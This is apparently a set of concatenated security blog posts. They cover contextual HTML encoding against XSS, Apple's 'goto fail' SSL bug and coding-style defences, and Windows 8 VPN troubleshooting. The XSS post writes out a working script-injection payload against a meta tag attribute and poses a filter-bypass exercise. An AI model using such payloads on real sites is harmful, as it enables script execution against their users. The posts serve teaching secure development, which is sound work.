Work with others in your security and development teams to generate a good threat library, and embody it in XML rules that you can distribute to other users of the threat modeling tool in your enterprise.
Document and mitigate threats. Measure how successful you are, at predicting threats, at reducing risk, and at impacting security earlier in your development cycle.
Then do a better job on each project.
Last time in this series, I posted an example where XSS was possible because a siteâs developer is unaware of the implications that his JavaScript is hosted inside of HTML.
This is sort of the opposite of that, noting that time-worn JavaScript (and C, Java, C++, C#, etc) methods donât always apply to HTML.
I teach that XSS is prevented absolutely by appropriate contextual encoding of user data on its way out of your application and into the page.
The context dictates what encoding you need, whether the context is âJavaScript stringâ, âJavaScript codeâ, âHTML attributeâ, âHTML contentâ, âURLâ, âCSS expressionâ, etc, etc.
In the case of HTML attributes, itâs actually fairly simple.
Unless you are putting a URL into an attribute, there are three simple rules:
Seems easy, right?
This is all kinds of good, except when you run into a site where the developer hasnât really thought about their encoding very well.
You see, HTML attribute values are encoded using HTML encoding, not C++ encoding.
To HTML, the back-slash has no particular meaning.
I see this all the time â I want to inject script, but the site only lets me put user data into an attribute value:
<meta name="keywords" content="Wot I searched for">
Thatâs lovely. Iâd like to put "><script>prompt(1)</script> in there as a proof of concept, so that it reads:
<meta name="keywords" content=""><script>prompt(1)</script>">
The dev sees this, and cuts me off, by preventing me from ending the quoted string that makes up the value of the content attribute:
<meta name="keywords" content="\"><script>prompt(1)</script>">
Nice try, Charlie, but that back-slash, itâs just a back-slash. It means nothing to HTML, and so my quote character still ends the string. My prompt still executes, and you have to explain why your âfixâ got broken as soon as you released it.
Oh, if only you had chosen the correct HTML encoding, and replaced my quote with â"â [and therefore, also replace every â&â in my query with â&â], weâd be happy.
And this, my friends, is why every time you implement a mitigation, you must test it. And why you follow the security teamâs guidance.
Exercise for the reader â how do you exploit this example if I donât encode the quotes, but I do strip out angle brackets?
Last week, Apple released a security update for iOS, indicating that the vulnerability being fixed is one that allows SSL / TLS connections to continue even though the server should not be authenticated. This is how they described it:
Impact: An attacker with a privileged network position may capture or modify data in sessions protected by SSL/TLS
Description: Secure Transport failed to validate the authenticity of the connection. This issue was addressed by restoring missing validation steps.
Secure Transport is their library for handling SSL / TLS, meaning that the bulk of applications written for these platforms would not adequately validate the authenticity of servers to which they are connected.
Ignore âAn attacker with a privileged network positionâ â this is the very definition of a Man-in-the-Middle (MITM) attacker, and whereas we used to be more blasĂ© about this in the past, when networking was done with wires, now that much of our use is wireless (possibly ALL in the case of iOS), the MITM attacker can easily insert themselves in the privileged position on the network.
The other reason to ignore that terminology is that SSL / TLS takes as its core assumption that it is protecting against exactly such a MITM. By using SSL / TLS in your service, you are noting that there is a significant risk that an attacker has assumed just such a privileged network position.
Also note that âfailed to validate the authenticity of the connectionâ means âallowed the attacker to attack you through an encrypted channel which you believed to be secureâ. If the attacker can force your authentication to incorrectly succeed, you believe you are talking to the right server, and you open an encrypted channel to the attacker. That attacker can then open an encrypted channel to the server to which you meant to connect, and echo your information straight on to the server, so you get the same behaviour you expect, but the attacker can see everything that goes on between you and your server, and modify whatever parts of that communication they choose.
So this lack of authentication is essentially a complete failure of your secure connection.
As always happens when a patch is released, within hours (minutes?) of the release, the patch has been reverse engineered, and others are offering their description of the changes made, and how they might have come about.
In this case, the reverse engineering was made easier by the availability of open source copies of the source code in use. Note that this is not an intimation that open source is, in this case, any less secure than closed source, because the patches can be reverse engineered quickly â but it does give us a better insight into exactly the code as itâs seen by Appleâs developers.
if ((err = ReadyHash(&SSLHashSHA1, &hashCtx)) != 0) goto fail; if ((err = SSLHashSHA1.update(&hashCtx, &clientRandom)) != 0) goto fail; if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0) goto fail; if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0) goto fail; goto fail; if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0) goto fail;
Yes, thatâs a second âgoto failâ, which means that the last âifâ never gets called, and the failure case is always executed. Because of the condition before it, however, the âfailâ label gets executed with âerrâ set to 0.
So, of course, the Internet being what it is, the first reaction is to laugh at the clowns who made such a simple mistake, that looks so obvious.
T-shirts are printed with âgoto fail; goto fail;â on them. Nearly 200 have been sold already (not for me â I donât generally wear black t-shirts).
This is SSL code. You donât get let loose on SSL code unless youâre pretty smart to begin with. You donât get to work as a developer at Apple on SSL code unless youâre very smart.
Clearly âbe smartâ is already in evidence.
There is a possibility that this is too much in evidence â that the arrogance of those with experience and a track record may have led these guys to avoid some standard protective measures. The evidence certainly fits that view, but then many developers start with that perspective anyway, so in the spirit of working with the developers you have, rather than the ones you theorise might be possible, letâs see how to address this issue long term:
OK, so itâs considered macho to not rely on an IDE. Iâve never understood that. Itâs rather like saying how much you prefer pounding nails in with your bare fists, because it demonstrates how much more of a man you are than the guy with a hammer. It doesnât make sense when you compare how fast the job gets done, or the silly and obvious errors that turn up clearly when the IDE handles your indenting, colouring, and style for you.
Yes, colouring. I know, colour-blind people exist â and those people should adjust the colours in the IDE so that they make sense. Even a colour-blind person can get shade information to help them. I know syntax colouring often helps me spot when an XSS injection is just about ready to work, when I would otherwise have missed it in all the surrounding garbage of HTML code. The same is true when building code, you can spot when keywords are being interpreted as values, when string delimiters are accidentally unescaped, etc.
The same is true for indentation. Indentation, when itâs caused by your IDE based on parsing your code, rather than by yourself pounding the space bar, is a valuable indication of program flow. If your indentation doesnât match control flow, itâs because you arenât enforcing indentation with an automated tool.
Your IDE and your check-in process are a great place to enforce style standards to ensure that code is not confusing to the other developers on your team â or to yourself.
A little secret â one of the reasons Iâm in this country in the first place is that I sent an eight-page fax to my bosses in the US, criticising their programming style and blaming (rightly) a number of bugs on the use of poor and inconsistent coding standards. This was true two decades ago using Fortran, and itâs true today in any number of different languages.
The style that was missed in this case â put braces around all your conditionally-executed statements.
I have other style recommendations that have worked for me in the past â meaningful variable names, enforced indenting, maximum level of indenting, comment guidelines, constant-on-the-left of comparisons, donât include comparisons and assignments in the same line, one line does one thing, etc, etc.
Make sure you back the style requirements with statements as to what you are trying to do with the style recommendation. âMake the code look the same across the teamâ is a good enough reason, but âprevent incorrect flowâ is better.
gcc has the option â-Wunreachable-codeâ.
gcc disabled the option in 2010.
gcc silently disabled the option, because they didnât want anyoneâs build to fail.
This is not (IMHO) a smart choice. If someone has a warning enabled, and has enabled the setting to produce a fatal error on warnings, they WANT their build to fail if that warning is triggered, and they WANT to know when that warning can no longer be relied upon.
So, without a warning on unreachable code, youâre basically screwed when it comes to control flow going where you donât want it to.
And of course thereâs the trouble thatâs caused when you have dozens and dozens of warnings, so warnings are ignored. Donât get into this state â every warning is a place where the compiler is confused enough by your code that it doesnât know whether you intended to do that bad thing.
Let me stress â if you have a warning, you have confused the compiler.
This is a bad thing.
You can individually silence warnings (with much comments in your code, please!) if you are truly in need of a confusing operation, but for the most part, itâs a great saving on your code cleanliness and clarity if you address the warnings in a smart and simple fashion.
The compiler has an optimiser.
Itâs really good at its job.
Itâs better than you are at optimising code, unless youâre going to get more than a 10-20% improvement in speed.
Making code shorter in its source form does not make it run faster. It may make it harder to read. For instance, this is a perfectly workable form of strstr:
const char * strstr(const char *s1, const char *s2)
{
return (!s1||!s2||!*s2)?s1:((!*s1)?0:((*s1==*s2&&s1==strstr(s1+1,s2+1)-1)?s1:strstr(s1+1,s2)));
}
Can you tell me if it has any bugs in it?
Whatâs its memory usage? Processor usage? How would you change it to make it work on case-insensitive comparisons? Does it overflow buffers?
Better still: does it compile to smaller or more performant code, if you rewrite it so that an entry-level developer can understand how it works?
Now go and read the implementation from your CRT. Itâs much clearer, isnât it?
Releasing the patch on Friday for iOS and on Tuesday for OS X may have actually been the correct move â but it brings home the point that you should release patches when you maximise the payoff between having your customers patch the issue and having your attackers reverse engineer it and build attacks.
Where is the security announcement at Apple? I go to apple.com and search for âiOS 7.0.6 security updateâ, and I get nothing. Itâd be really nice to find the bulletin right there. If itâs easier to find your documentation from outside your web site than from inside, you have a bad search engine.
People who know me may have the impression that I hate Apple. Itâs a little more nuanced than that.
I accept that other people love their Apple devices. In many ways, I can understand why.
I have previously owned Apple devices â and I have tried desperately to love them, and to find why other people are so devoted to them. I have failed. My attempts at devotion are unrequited, and the device stubbornly avoids helping me do anything useful.
Instead of a MacBook Pro, I now use a ThinkPad. Instead of an iPad (remember, I won one for free!), I now use a Surface 2.
I feel like Steve Jobs turned to me and quoted Dr Frank N Furter: âI didnât make him for you.â
So, no, I donât like Apple products FOR ME. Iâm fine if other people want to use them.
This article is simply about a really quick and easy example of how simple faults cause major errors, and what you can do, even as an experienced developer, to prevent them from happening to you.
Yeah, so, I was apparently deluded, the problem is still here. It appears to be a bona-fide bug in Windows 8, with a Hotfix at http://support.microsoft.com/kb/2797356 – but that’s only for x86 versions of Windows, and not for the Surface 2.
Since I wrote this article, another issue caused me to reset my WMI database, by deleting everything under C:\Windows\System32\wbem\Repository and rebooting. After that, the VPN issues documented in this article have gone away.
I have a home VPN – everyone should, because it makes for securable access to your home systems when you are out and about, whether it’s at the Starbucks down the street, or half way across the world, like I was on my trip to China last week.
Useful as my home VPN is, and hard as it is to get working (see my last post on Windows 8 VPN problems), it’s only useful if I can get my entire computer to talk through the VPN.
Sidebar – VPN split tunneling
Note that I am not disputing the value of split tunneling in a VPN, which is where you might set up your client to use the VPN only for a range of addresses, so that (for example) a computer might connect to the VPN for connections to a work intranet, but use the regular connectivity for the major part of the public web. For this article, assume I want everything but my link-local traffic to be forwarded to my VPN.
So, in my last VPN post, we talked about setting up the client end of a VPN, and now I want to use it.
Connecting is the easy part, and once connected, most of my apps on the Surface 2 work quite happily, connecting to the Internet through my VPN.
All of the Desktop apps seem to work without restriction, but there are some odd gaps when it comes to using “Windows Store” apps, also known as “Metro” or “Modern UI” apps. Microsoft can’t call this “Metro” any more, even though that’s the most commonly used term for it, so I’ll follow their lead and call this the “Modern UI” [where UI stands for User Interface].
Most glaring of all is the Modern UI Internet Explorer, which doesn’t seem to allow any connections at all, simply displaying “This page can’t be displayed”. The exception to this is if I connect to a web server that is link-local to the VPN server.
I’d think this was a problem with the way I had set up my VPN server, or my client connection, if it weren’t for the fact that my Windows 8.1 laptop connects correctly to this same VPN with no issues on Modern or Desktop versions of Internet Explorer, and of course the undeniable feature that Internet Explorer for the Desktop on my Surface 2 also works correctly.
I’d like to troubleshoot and debug this issue, but of course, the only troubleshooting tools for networking in the Surface 2 run on the Desktop, and therefore work quite happily, as if nothing is wrong with the network. And from their perspective, this is true.
Of course, Internet Explorer has always been claimed by Microsoft to be a “part of the operating system”, and in Windows 8.1 RT, there is no difference in this respect.
Every Modern UI application which includes a web control, web view, or in some way asks the operating system or development framework to host a web page, also fails to reach its intended target through the VPN.
Technical support had me try a number of things, including resetting the system, but none of their suggestions had any effect. Eventually I found a tech support rep who told me this is a bug, not that that is really what you’d call a resolution of my problem. These are the sort of things that make it clear that the Surface is still in its early days, and while impressive, has a number of niggling issues that need “fit and finish” work before significant other features get added.